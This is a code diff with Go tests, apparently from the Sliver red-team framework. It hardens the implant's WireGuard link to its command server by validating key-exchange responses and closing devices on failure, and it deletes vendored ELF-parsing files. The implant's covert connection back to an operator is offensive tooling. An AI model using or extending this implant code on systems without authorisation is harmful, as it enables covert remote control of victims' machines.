t.Fatalf("got connection=%v error=%v, want nil and %v", connection, err, wantErr)
|
||||
}
|
||||
if dev.closeCalls != 1 {
|
||||
t.Fatalf("failed dial closed device %d times, want 1", dev.closeCalls)
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
func TestConfigureDeviceTransfersOrReleasesOwnership(t *testing.T) {
|
||||
t.Run("success", func(t *testing.T) {
|
||||
dev := &ownershipTestDevice{}
|
||||
if err := configureDevice(dev, bytes.NewBufferString("private_key=test\n")); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if dev.closeCalls != 0 {
|
||||
t.Fatalf("successful configuration closed returned device %d times", dev.closeCalls)
|
||||
}
|
||||
if dev.configured != "private_key=test\n" {
|
||||
t.Fatalf("unexpected configuration %q", dev.configured)
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("failure", func(t *testing.T) {
|
||||
wantErr := errors.New("configuration failed")
|
||||
dev := &ownershipTestDevice{configureErr: wantErr}
|
||||
err := configureDevice(dev, bytes.NewBufferString("private_key=test\n"))
|
||||
if !errors.Is(err, wantErr) {
|
||||
t.Fatalf("got error %v, want %v", err, wantErr)
|
||||
}
|
||||
if dev.closeCalls != 1 {
|
||||
t.Fatalf("failed configuration closed device %d times, want 1", dev.closeCalls)
|
||||
}
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,52 @@
|
||||
//go:build windows || darwin || linux
|
||||
|
||||
package wireguard
|
||||
|
||||
import (
|
||||
"net"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func exchangeResponse(t *testing.T, response string) (string, string, string, error) {
|
||||
t.Helper()
|
||||
client, server := net.Pipe()
|
||||
go func() {
|
||||
_, _ = server.Write([]byte(response))
|
||||
_ = server.Close()
|
||||
}()
|
||||
defer func() { _ = client.Close() }()
|
||||
return doKeyExchange(client)
|
||||
}
|
||||
|
||||
func TestDoKeyExchangeParsesTextTunnelIP(t *testing.T) {
|
||||
privateKey := strings.Repeat("a", 64)
|
||||
publicKey := strings.Repeat("b", 64)
|
||||
gotPrivate, gotPublic, gotIP, err := exchangeResponse(t, privateKey+"|"+publicKey+"|100.64.0.23")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if gotPrivate != privateKey || gotPublic != publicKey || gotIP != "100.64.0.23" {
|
||||
t.Fatalf("unexpected exchange result: private=%q public=%q ip=%q", gotPrivate, gotPublic, gotIP)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDoKeyExchangeRejectsMalformedResponses(t *testing.T) {
|
||||
key := strings.Repeat("a", 64)
|
||||
tests := map[string]string{
|
||||
"missing field": key + "|" + key,
|
||||
"short key": "aa|" + key + "|100.64.0.2",
|
||||
"non-hex key": strings.Repeat("z", 64) + "|" + key + "|100.64.0.2",
|
||||
"invalid IP": key + "|" + key + "|not-an-ip",
|
||||
"IPv6 tunnel IP": key + "|" + key + "|fd00::2",
|
||||
"oversized payload": strings.Repeat("x", 257),
|
||||
}
|
||||
for name, response := range tests {
|
||||
t.Run(name, func(t *testing.T) {
|
||||
_, _, _, err := exchangeResponse(t, response)
|
||||
if err == nil {
|
||||
t.Fatal("expected malformed key exchange response to fail")
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
@@ -28,6 +28,7 @@ import (
|
||||
"crypto/ed25519"
|
||||
"crypto/sha256"
|
||||
"encoding/binary"
|
||||
"encoding/hex"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
@@ -47,7 +48,6 @@ import (
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/netstack"
|
||||
"golang.org/x/crypto/blake2b"
|
||||
"golang.zx2c4.com/wireguard/conn"
|
||||
"golang.zx2c4.com/wireguard/device"
|
||||
"golang.zx2c4.com/wireguard/tun"
|
||||
"google.golang.org/protobuf/proto"
|
||||
@@ -251,12 +251,35 @@ func formatWGEndpoint(address string, port uint16) string {
|
||||
return net.JoinHostPort(address, strconv.Itoa(int(port)))
|
||||
}
|
||||
|
||||
type permanentDevice interface {
|
||||
Close()
|
||||
}
|
||||
|
||||
type sessionKeyDevice interface {
|
||||
permanentDevice
|
||||
Up() error
|
||||
}
|
||||
|
||||
type netDialer interface {
|
||||
Dial(network string, address string) (net.Conn, error)
|
||||
}
|
||||
|
||||
type deviceConfigurator interface {
|
||||
permanentDevice
|
||||
IpcSetOperation(io.Reader) error
|
||||
}
|
||||
|
||||
// getSessKeys - Connect to the wireguard server and retrieve session specific keys and IP
|
||||
func getSessKeys(address string, port uint16) error {
|
||||
_, dev, tNet, err := bringUpWGInterface(address, port, wgImplantPrivKey, wgServerPubKey, wgPeerTunIP)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return getSessKeysWithDevice(dev, tNet)
|
||||
}
|
||||
|
||||
func getSessKeysWithDevice(dev sessionKeyDevice, tNet netDialer) error {
|
||||
defer dev.Close()
|
||||
|
||||
if err := dev.Up(); err != nil {
|
||||
return err
|
||||
@@ -271,25 +294,17 @@ func getSessKeys(address string, port uint16) error {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Unable to connect to wg key exchange listener: %v", err)
|
||||
// {{end}}
|
||||
_ = dev.Down()
|
||||
return err
|
||||
}
|
||||
|
||||
wgSessPrivKey, wgSessPubKey, tunAddress = doKeyExchange(keyExchangeConnection)
|
||||
wgSessPrivKey, wgSessPubKey, tunAddress, err = doKeyExchange(keyExchangeConnection)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Signaling wg device to go down")
|
||||
log.Printf("Closing temporary wg key exchange device")
|
||||
// {{end}}
|
||||
|
||||
// Close initial wireguard connection
|
||||
err = dev.Down()
|
||||
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Failed to close device.Device: %s", err)
|
||||
// {{end}}
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -309,7 +324,7 @@ func WGConnect(address string, port uint16) (net.Conn, *device.Device, error) {
|
||||
return nil, nil, err
|
||||
}
|
||||
|
||||
connection, err := tNet.Dial("tcp", fmt.Sprintf("%s:%d", serverTunIP, wgTcpCommsPort))
|
||||
connection, err := dialDevice(tNet, dev, "tcp", fmt.Sprintf("%s:%d", serverTunIP, wgTcpCommsPort))
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Unable to connect to sliver listener: %v", err)
|
||||
@@ -326,6 +341,15 @@ func WGConnect(address string, port uint16) (net.Conn, *device.Device, error) {
|
||||
return connection, dev, nil
|
||||
}
|
||||
|
||||
func dialDevice(dialer netDialer, dev permanentDevice, network string, address string) (net.Conn, error) {
|
||||
connection, err := dialer.Dial(network, address)
|
||||
if err != nil {
|
||||
dev.Close()
|
||||
return nil, err
|
||||
}
|
||||
return connection, nil
|
||||
}
|
||||
|
||||
// bringUpWGInterface - First creates an inet.af network stack.
|
||||
// then creates a Wireguard device/interface and applies configuration
|
||||
func bringUpWGInterface(address string, port uint16, implantPrivKey string, serverPubKey string, netstackTunIP string) (tun.Device, *device.Device, *netstack.Net, error) {
|
||||
@@ -342,6 +366,7 @@ func bringUpWGInterface(address string, port uint16, implantPrivKey string, serv
|
||||
// {{if .Config.Debug}}
|
||||
log.Panic(err)
|
||||
// {{end}}
|
||||
return nil, nil, nil, err
|
||||
}
|
||||
|
||||
wgLogLevel := device.LogLevelSilent
|
||||
@@ -349,7 +374,7 @@ func bringUpWGInterface(address string, port uint16, implantPrivKey string, serv
|
||||
wgLogLevel = device.LogLevelVerbose
|
||||
// {{end}}
|
||||
|
||||
dev := device.NewDevice(tun, conn.NewDefaultBind(), device.NewLogger(wgLogLevel, "[c2/wg] "))
|
||||
dev := device.NewDevice(tun, newWGUDPBind(), device.NewLogger(wgLogLevel, "[c2/wg] "))
|
||||
wgConf := bytes.NewBuffer(nil)
|
||||
fmt.Fprintf(wgConf, "private_key=%s\n", implantPrivKey)
|
||||
fmt.Fprintf(wgConf, "public_key=%s\n", serverPubKey)
|
||||
@@ -360,7 +385,7 @@ func bringUpWGInterface(address string, port uint16, implantPrivKey string, serv
|
||||
log.Printf("Configuring wg device with: %s", wgConf.String())
|
||||
// {{end}}
|
||||
|
||||
if err := dev.IpcSetOperation(bufio.NewReader(wgConf)); err != nil {
|
||||
if err := configureDevice(dev, bufio.NewReader(wgConf)); err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Failed to set wg device config: %s", err)
|
||||
// {{end}}
|
||||
@@ -373,29 +398,53 @@ func bringUpWGInterface(address string, port uint16, implantPrivKey string, serv
|
||||
return tun, dev, tNet, nil
|
||||
}
|
||||
|
||||
func configureDevice(dev deviceConfigurator, config io.Reader) error {
|
||||
if err := dev.IpcSetOperation(config); err != nil {
|
||||
dev.Close()
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// doKeyExchange - Connect to key exchange listener and retrieve new dynamic wg keys
|
||||
func doKeyExchange(conn net.Conn) (string, string, string) {
|
||||
func doKeyExchange(conn net.Conn) (string, string, string, error) {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Connected to key exchange listener")
|
||||
// {{end}}
|
||||
defer conn.Close()
|
||||
|
||||
// 129 = 64 byte key + 1 byte delimiter + 64 byte key + 1 byte delimiter + 16 byte ip address
|
||||
buff := make([]byte, 146)
|
||||
buffReader := bufio.NewReader(conn)
|
||||
|
||||
_, err := io.ReadFull(buffReader, buff)
|
||||
const maxMessageSize = 256
|
||||
buff, err := io.ReadAll(io.LimitReader(conn, maxMessageSize+1))
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Failed to read wg keys from key exchange listener: %s", err)
|
||||
// {{end}}
|
||||
return "", "", "", fmt.Errorf("read WireGuard key exchange response: %w", err)
|
||||
}
|
||||
if len(buff) > maxMessageSize {
|
||||
return "", "", "", errors.New("WireGuard key exchange response exceeds maximum length")
|
||||
}
|
||||
|
||||
stringSlice := strings.Split(string(buff), "|")
|
||||
if len(stringSlice) != 3 {
|
||||
return "", "", "", fmt.Errorf("invalid WireGuard key exchange response: got %d fields", len(stringSlice))
|
||||
}
|
||||
for index, key := range stringSlice[:2] {
|
||||
if len(key) != 64 {
|
||||
return "", "", "", fmt.Errorf("invalid WireGuard key exchange key %d length", index+1)
|
||||
}
|
||||
if _, err := hex.DecodeString(key); err != nil {
|
||||
return "", "", "", fmt.Errorf("invalid WireGuard key exchange key %d encoding", index+1)
|
||||
}
|
||||
}
|
||||
tunIP, err := netip.ParseAddr(stringSlice[2])
|
||||
if err != nil || !tunIP.Is4() {
|
||||
return "", "", "", fmt.Errorf("invalid WireGuard key exchange tunnel IP %q", stringSlice[2])
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Retrieved new keys, priv:%s, pub:%s, ip:%s", stringSlice[0], stringSlice[1], net.IP(stringSlice[2]).String())
|
||||
log.Printf("Retrieved new WireGuard session keys for tunnel IP %s", tunIP.String())
|
||||
// {{end}}
|
||||
return stringSlice[0], stringSlice[1], net.IP(stringSlice[2]).String()
|
||||
return stringSlice[0], stringSlice[1], tunIP.String(), nil
|
||||
}
|
||||
|
||||
func getWgKeyExchangePort() int {
|
||||
|
||||
-27
@@ -1,27 +0,0 @@
|
||||
Copyright (c) 2009 The Go Authors. All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without
|
||||
modification, are permitted provided that the following conditions are
|
||||
met:
|
||||
|
||||
* Redistributions of source code must retain the above copyright
|
||||
notice, this list of conditions and the following disclaimer.
|
||||
* Redistributions in binary form must reproduce the above
|
||||
copyright notice, this list of conditions and the following disclaimer
|
||||
in the documentation and/or other materials provided with the
|
||||
distribution.
|
||||
* Neither the name of Google Inc. nor the names of its
|
||||
contributors may be used to endorse or promote products derived from
|
||||
this software without specific prior written permission.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
|
||||
"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
|
||||
A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
|
||||
OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
|
||||
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
|
||||
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
|
||||
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
|
||||
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
-3000
File diff suppressed because it is too large.
Load diff
-32
@@ -1,32 +0,0 @@
|
||||
package elf
|
||||
|
||||
/*
|
||||
Any symbol in the dynamic symbol table (in .dynsym) for which .st_shndx == SHN_UNDEF
|
||||
(references undefined section) is an import, and every other symbol is defined and exported.
|
||||
*/
|
||||
|
||||
// Export - describes a single export entry
|
||||
type Export struct {
|
||||
Name string
|
||||
VirtualAddress uint64
|
||||
}
|
||||
|
||||
// Exports - gets exports
|
||||
func (f *File) Exports() ([]Export, error) {
|
||||
|
||||
var exports []Export
|
||||
symbols, err := f.DynamicSymbols()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
for _, s := range symbols {
|
||||
if s.Section != SHN_UNDEF {
|
||||
exports = append(exports, Export{
|
||||
Name: s.Name,
|
||||
VirtualAddress: s.Value,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
return exports, nil
|
||||
}
|
||||
-964
@@ -1,964 +0,0 @@
|
||||
// Copyright 2009 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
// Package elf implements access to ELF object files.
|
||||
package elf
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"compress/zlib"
|
||||
"debug/dwarf"
|
||||
"encoding/binary"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"os"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// seekStart, seekCurrent, seekEnd are copies of
|
||||
// io.SeekStart, io.SeekCurrent, and io.SeekEnd.
|
||||
// We can't use the ones from package io because
|
||||
// we want this code to build with Go 1.4 during
|
||||
// cmd/dist bootstrap.
|
||||
const (
|
||||
seekStart int = 0
|
||||
seekCurrent int = 1
|
||||
seekEnd int = 2
|
||||
)
|
||||
|
||||
// TODO: error reporting detail
|
||||
|
||||
/*
|
||||
* Internal ELF representation
|
||||
*/
|
||||
|
||||
// A FileHeader represents an ELF file header.
|
||||
type FileHeader struct {
|
||||
Class Class
|
||||
Data Data
|
||||
Version Version
|
||||
OSABI OSABI
|
||||
ABIVersion uint8
|
||||
ByteOrder binary.ByteOrder
|
||||
Type Type
|
||||
Machine Machine
|
||||
Entry uint64
|
||||
SHTOffset int64
|
||||
ShStrIndex int
|
||||
}
|
||||
|
||||
// A File represents an open ELF file.
|
||||
type File struct {
|
||||
FileHeader
|
||||
Sections []*Section
|
||||
Progs []*Prog
|
||||
closer io.Closer
|
||||
gnuNeed []verneed
|
||||
gnuVersym []byte
|
||||
Insertion []byte
|
||||
InsertionEOF []byte
|
||||
|
||||
DynTags []DynTagValue
|
||||
}
|
||||
|
||||
// A SectionHeader represents a single ELF section header.
|
||||
type SectionHeader struct {
|
||||
Name string
|
||||
Type SectionType
|
||||
Flags SectionFlag
|
||||
Addr uint64
|
||||
Offset uint64
|
||||
Size uint64
|
||||
Link uint32
|
||||
Info uint32
|
||||
Addralign uint64
|
||||
Entsize uint64
|
||||
|
||||
Shnum int // Section Header Number
|
||||
Shname uint32 // Section Header Name (index)
|
||||
|
||||
// FileSize is the size of this section in the file in bytes.
|
||||
// If a section is compressed, FileSize is the size of the
|
||||
// compressed data, while Size (above) is the size of the
|
||||
// uncompressed data.
|
||||
FileSize uint64
|
||||
}
|
||||
|
||||
// A Section represents a single section in an ELF file.
|
||||
type Section struct {
|
||||
SectionHeader
|
||||
|
||||
// Embed ReaderAt for ReadAt method.
|
||||
// Do not embed SectionReader directly
|
||||
// to avoid having Read and Seek.
|
||||
// If a client wants Read and Seek it must use
|
||||
// Open() to avoid fighting over the seek offset
|
||||
// with other clients.
|
||||
//
|
||||
// ReaderAt may be nil if the section is not easily available
|
||||
// in a random-access form. For example, a compressed section
|
||||
// may have a nil ReaderAt.
|
||||
io.ReaderAt
|
||||
sr *io.SectionReader
|
||||
|
||||
compressionType CompressionType
|
||||
compressionOffset int64
|
||||
}
|
||||
|
||||
// Data reads and returns the contents of the ELF section.
|
||||
// Even if the section is stored compressed in the ELF file,
|
||||
// Data returns uncompressed data.
|
||||
func (s *Section) Data() ([]byte, error) {
|
||||
dat := make([]byte, s.Size)
|
||||
n, err := io.ReadFull(s.Open(), dat)
|
||||
return dat[0:n], err
|
||||
}
|
||||
|
||||
// stringTable reads and returns the string table given by the
|
||||
// specified link value.
|
||||
func (f *File) stringTable(link uint32) ([]byte, error) {
|
||||
if link <= 0 || link >= uint32(len(f.Sections)) {
|
||||
return nil, errors.New("section has invalid string table link")
|
||||
}
|
||||
return f.Sections[link].Data()
|
||||
}
|
||||
|
||||
// Open returns a new ReadSeeker reading the ELF section.
|
||||
// Even if the section is stored compressed in the ELF file,
|
||||
// the ReadSeeker reads uncompressed data.
|
||||
func (s *Section) Open() io.ReadSeeker {
|
||||
if s.Flags&SHF_COMPRESSED == 0 {
|
||||
return io.NewSectionReader(s.sr, 0, 1<<63-1)
|
||||
}
|
||||
if s.compressionType == COMPRESS_ZLIB {
|
||||
return &readSeekerFromReader{
|
||||
reset: func() (io.Reader, error) {
|
||||
fr := io.NewSectionReader(s.sr, s.compressionOffset, int64(s.FileSize)-s.compressionOffset)
|
||||
return zlib.NewReader(fr)
|
||||
},
|
||||
size: int64(s.Size),
|
||||
}
|
||||
}
|
||||
err := &FormatError{int64(s.Offset), "unknown compression type", s.compressionType}
|
||||
return errorReader{err}
|
||||
}
|
||||
|
||||
// A ProgHeader represents a single ELF program header.
|
||||
type ProgHeader struct {
|
||||
Type ProgType
|
||||
Flags ProgFlag
|
||||
Off uint64
|
||||
Vaddr uint64
|
||||
Paddr uint64
|
||||
Filesz uint64
|
||||
Memsz uint64
|
||||
Align uint64
|
||||
}
|
||||
|
||||
// A Prog represents a single ELF program header in an ELF binary.
|
||||
type Prog struct {
|
||||
ProgHeader
|
||||
|
||||
// Embed ReaderAt for ReadAt method.
|
||||
// Do not embed SectionReader directly
|
||||
// to avoid having Read and Seek.
|
||||
// If a client wants Read and Seek it must use
|
||||
// Open() to avoid fighting over the seek offset
|
||||
// with other clients.
|
||||
io.ReaderAt
|
||||
sr *io.SectionReader
|
||||
}
|
||||
|
||||
// Open returns a new ReadSeeker reading the ELF program body.
|
||||
func (p *Prog) Open() io.ReadSeeker { return io.NewSectionReader(p.sr, 0, 1<<63-1) }
|
||||
|
||||
// A Symbol represents an entry in an ELF symbol table section.
|
||||
type Symbol struct {
|
||||
Name string
|
||||
NameIndex uint32
|
||||
Info, Other byte
|
||||
Section SectionIndex
|
||||
SectIndex uint16
|
||||
Value, Size uint64
|
||||
}
|
||||
|
||||
// ToSym64 - Convert to a Sym64
|
||||
func (s Symbol) ToSym64() (retval Sym64) {
|
||||
|
||||
retval.Name = s.NameIndex
|
||||
retval.Info = s.Info
|
||||
retval.Other = s.Other
|
||||
retval.Shndx = s.SectIndex
|
||||
retval.Value = s.Value
|
||||
retval.Size = s.Size
|
||||
return
|
||||
}
|
||||
|
||||
// ToSym32 - Convert to a Sym32
|
||||
func (s Symbol) ToSym32() (retval Sym32) {
|
||||
|
||||
retval.Name = s.NameIndex
|
||||
retval.Info = s.Info
|
||||
retval.Other = s.Other
|
||||
retval.Shndx = s.SectIndex
|
||||
retval.Value = uint32(s.Value)
|
||||
retval.Size = uint32(s.Size)
|
||||
return
|
||||
}
|
||||
|
||||
/*
|
||||
* ELF reader
|
||||
*/
|
||||
|
||||
type FormatError struct {
|
||||
off int64
|
||||
msg string
|
||||
val interface{}
|
||||
}
|
||||
|
||||
func (e *FormatError) Error() string {
|
||||
msg := e.msg
|
||||
if e.val != nil {
|
||||
msg += fmt.Sprintf(" '%v' ", e.val)
|
||||
}
|
||||
msg += fmt.Sprintf("in record at byte %#x", e.off)
|
||||
return msg
|
||||
}
|
||||
|
||||
// Open opens the named file using os.Open and prepares it for use as an ELF binary.
|
||||
func Open(name string) (*File, error) {
|
||||
f, err := os.Open(name)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
ff, err := NewFile(f)
|
||||
if err != nil {
|
||||
f.Close()
|
||||
return nil, err
|
||||
}
|
||||
ff.closer = f
|
||||
return ff, nil
|
||||
}
|
||||
|
||||
// Close closes the File.
|
||||
// If the File was created using NewFile directly instead of Open,
|
||||
// Close has no effect.
|
||||
func (f *File) Close() error {
|
||||
var err error
|
||||
if f.closer != nil {
|
||||
err = f.closer.Close()
|
||||
f.closer = nil
|
||||
}
|
||||
return err
|
||||
}
|
||||
|
||||
// SectionByType returns the first section in f with the
|
||||
// given type, or nil if there is no such section.
|
||||
func (f *File) SectionByType(typ SectionType) *Section {
|
||||
for _, s := range f.Sections {
|
||||
if s.Type == typ {
|
||||
return s
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// SectionByName returns the first section in f with the
|
||||
// given name, or nil if there is no such section.
|
||||
func (f *File) SectionByName(name string) *Section {
|
||||
for _, s := range f.Sections {
|
||||
if s.Name == name {
|
||||
return s
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// NewFile creates a new File for accessing an ELF binary in an underlying reader.
|
||||
// The ELF binary is expected to start at position 0 in the ReaderAt.
|
||||
func NewFile(r io.ReaderAt) (*File, error) {
|
||||
sr := io.NewSectionReader(r, 0, 1<<63-1)
|
||||
// Read and decode ELF identifier
|
||||
var ident [16]uint8
|
||||
if _, err := r.ReadAt(ident[0:], 0); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if ident[0] != '\x7f' || ident[1] != 'E' || ident[2] != 'L' || ident[3] != 'F' {
|
||||
return nil, &FormatError{0, "bad magic number", ident[0:4]}
|
||||
}
|
||||
|
||||
f := new(File)
|
||||
f.Class = Class(ident[EI_CLASS])
|
||||
switch f.Class {
|
||||
case ELFCLASS32:
|
||||
case ELFCLASS64:
|
||||
// ok
|
||||
default:
|
||||
return nil, &FormatError{0, "unknown ELF class", f.Class}
|
||||
}
|
||||
|
||||
f.Data = Data(ident[EI_DATA])
|
||||
switch f.Data {
|
||||
case ELFDATA2LSB:
|
||||
f.ByteOrder = binary.LittleEndian
|
||||
case ELFDATA2MSB:
|
||||
f.ByteOrder = binary.BigEndian
|
||||
default:
|
||||
return nil, &FormatError{0, "unknown ELF data encoding", f.Data}
|
||||
}
|
||||
|
||||
f.Version = Version(ident[EI_VERSION])
|
||||
if f.Version != EV_CURRENT {
|
||||
return nil, &FormatError{0, "unknown ELF version", f.Version}
|
||||
}
|
||||
|
||||
f.OSABI = OSABI(ident[EI_OSABI])
|
||||
f.ABIVersion = ident[EI_ABIVERSION]
|
||||
|
||||
// Read ELF file header
|
||||
var phoff int64
|
||||
var phentsize, phnum int
|
||||
var shentsize, shnum int
|
||||
f.ShStrIndex = -1
|
||||
switch f.Class {
|
||||
case ELFCLASS32:
|
||||
hdr := new(Header32)
|
||||
sr.Seek(0, seekStart)
|
||||
if err := binary.Read(sr, f.ByteOrder, hdr); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
f.Type = Type(hdr.Type)
|
||||
f.Machine = Machine(hdr.Machine)
|
||||
f.Entry = uint64(hdr.Entry)
|
||||
if v := Version(hdr.Version); v != f.Version {
|
||||
return nil, &FormatError{0, "mismatched ELF version", v}
|
||||
}
|
||||
phoff = int64(hdr.Phoff)
|
||||
phentsize = int(hdr.Phentsize)
|
||||
phnum = int(hdr.Phnum)
|
||||
f.SHTOffset = int64(hdr.Shoff)
|
||||
shentsize = int(hdr.Shentsize)
|
||||
shnum = int(hdr.Shnum)
|
||||
f.ShStrIndex = int(hdr.Shstrndx)
|
||||
case ELFCLASS64:
|
||||
hdr := new(Header64)
|
||||
sr.Seek(0, seekStart)
|
||||
if err := binary.Read(sr, f.ByteOrder, hdr); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
f.Type = Type(hdr.Type)
|
||||
f.Machine = Machine(hdr.Machine)
|
||||
f.Entry = hdr.Entry
|
||||
if v := Version(hdr.Version); v != f.Version {
|
||||
return nil, &FormatError{0, "mismatched ELF version", v}
|
||||
}
|
||||
phoff = int64(hdr.Phoff)
|
||||
phentsize = int(hdr.Phentsize)
|
||||
phnum = int(hdr.Phnum)
|
||||
f.SHTOffset = int64(hdr.Shoff)
|
||||
shentsize = int(hdr.Shentsize)
|
||||
shnum = int(hdr.Shnum)
|
||||
f.ShStrIndex = int(hdr.Shstrndx)
|
||||
}
|
||||
|
||||
if shnum > 0 && f.SHTOffset > 0 && (f.ShStrIndex < 0 || f.ShStrIndex >= shnum) {
|
||||
return nil, &FormatError{0, "invalid ELF shstrndx", f.ShStrIndex}
|
||||
}
|
||||
|
||||
// Read program headers
|
||||
f.Progs = make([]*Prog, phnum)
|
||||
for i := 0; i < phnum; i++ {
|
||||
off := phoff + int64(i)*int64(phentsize)
|
||||
sr.Seek(off, seekStart)
|
||||
p := new(Prog)
|
||||
switch f.Class {
|
||||
case ELFCLASS32:
|
||||
ph := new(Prog32)
|
||||
if err := binary.Read(sr, f.ByteOrder, ph); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
p.ProgHeader = ProgHeader{
|
||||
Type: ProgType(ph.Type),
|
||||
Flags: ProgFlag(ph.Flags),
|
||||
Off: uint64(ph.Off),
|
||||
Vaddr: uint64(ph.Vaddr),
|
||||
Paddr: uint64(ph.Paddr),
|
||||
Filesz: uint64(ph.Filesz),
|
||||
Memsz: uint64(ph.Memsz),
|
||||
Align: uint64(ph.Align),
|
||||
}
|
||||
case ELFCLASS64:
|
||||
ph := new(Prog64)
|
||||
if err := binary.Read(sr, f.ByteOrder, ph); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
p.ProgHeader = ProgHeader{
|
||||
Type: ProgType(ph.Type),
|
||||
Flags: ProgFlag(ph.Flags),
|
||||
Off: ph.Off,
|
||||
Vaddr: ph.Vaddr,
|
||||
Paddr: ph.Paddr,
|
||||
Filesz: ph.Filesz,
|
||||
Memsz: ph.Memsz,
|
||||
Align: ph.Align,
|
||||
}
|
||||
}
|
||||
p.sr = io.NewSectionReader(r, int64(p.Off), int64(p.Filesz))
|
||||
p.ReaderAt = p.sr
|
||||
f.Progs[i] = p
|
||||
}
|
||||
|
||||
// Read section headers
|
||||
f.Sections = make([]*Section, shnum)
|
||||
names := make([]uint32, shnum)
|
||||
for i := 0; i < shnum; i++ {
|
||||
off := f.SHTOffset + int64(i)*int64(shentsize)
|
||||
sr.Seek(off, seekStart)
|
||||
s := new(Section)
|
||||
switch f.Class {
|
||||
case ELFCLASS32:
|
||||
sh := new(Section32)
|
||||
if err := binary.Read(sr, f.ByteOrder, sh); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
names[i] = sh.Name
|
||||
s.SectionHeader = SectionHeader{
|
||||
Type: SectionType(sh.Type),
|
||||
Flags: SectionFlag(sh.Flags),
|
||||
Addr: uint64(sh.Addr),
|
||||
Offset: uint64(sh.Off),
|
||||
FileSize: uint64(sh.Size),
|
||||
Link: sh.Link,
|
||||
Info: sh.Info,
|
||||
Addralign: uint64(sh.Addralign),
|
||||
Entsize: uint64(sh.Entsize),
|
||||
Shnum: i,
|
||||
Shname: sh.Name,
|
||||
}
|
||||
|
||||
case ELFCLASS64:
|
||||
sh := new(Section64)
|
||||
if err := binary.Read(sr, f.ByteOrder, sh); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
names[i] = sh.Name
|
||||
s.SectionHeader = SectionHeader{
|
||||
Type: SectionType(sh.Type),
|
||||
Flags: SectionFlag(sh.Flags),
|
||||
Offset: sh.Off,
|
||||
FileSize: sh.Size,
|
||||
Addr: sh.Addr,
|
||||
Link: sh.Link,
|
||||
Info: sh.Info,
|
||||
Addralign: sh.Addralign,
|
||||
Entsize: sh.Entsize,
|
||||
Shnum: i,
|
||||
Shname: sh.Name,
|
||||
}
|
||||
}
|
||||
s.sr = io.NewSectionReader(r, int64(s.Offset), int64(s.FileSize))
|
||||
|
||||
if s.Flags&SHF_COMPRESSED == 0 {
|
||||
s.ReaderAt = s.sr
|
||||
s.Size = s.FileSize
|
||||
} else {
|
||||
// Read the compression header.
|
||||
switch f.Class {
|
||||
case ELFCLASS32:
|
||||
ch := new(Chdr32)
|
||||
if err := binary.Read(s.sr, f.ByteOrder, ch); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
s.compressionType = CompressionType(ch.Type)
|
||||
s.Size = uint64(ch.Size)
|
||||
s.Addralign = uint64(ch.Addralign)
|
||||
s.compressionOffset = int64(binary.Size(ch))
|
||||
case ELFCLASS64:
|
||||
ch := new(Chdr64)
|
||||
if err := binary.Read(s.sr, f.ByteOrder, ch); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
s.compressionType = CompressionType(ch.Type)
|
||||
s.Size = ch.Size
|
||||
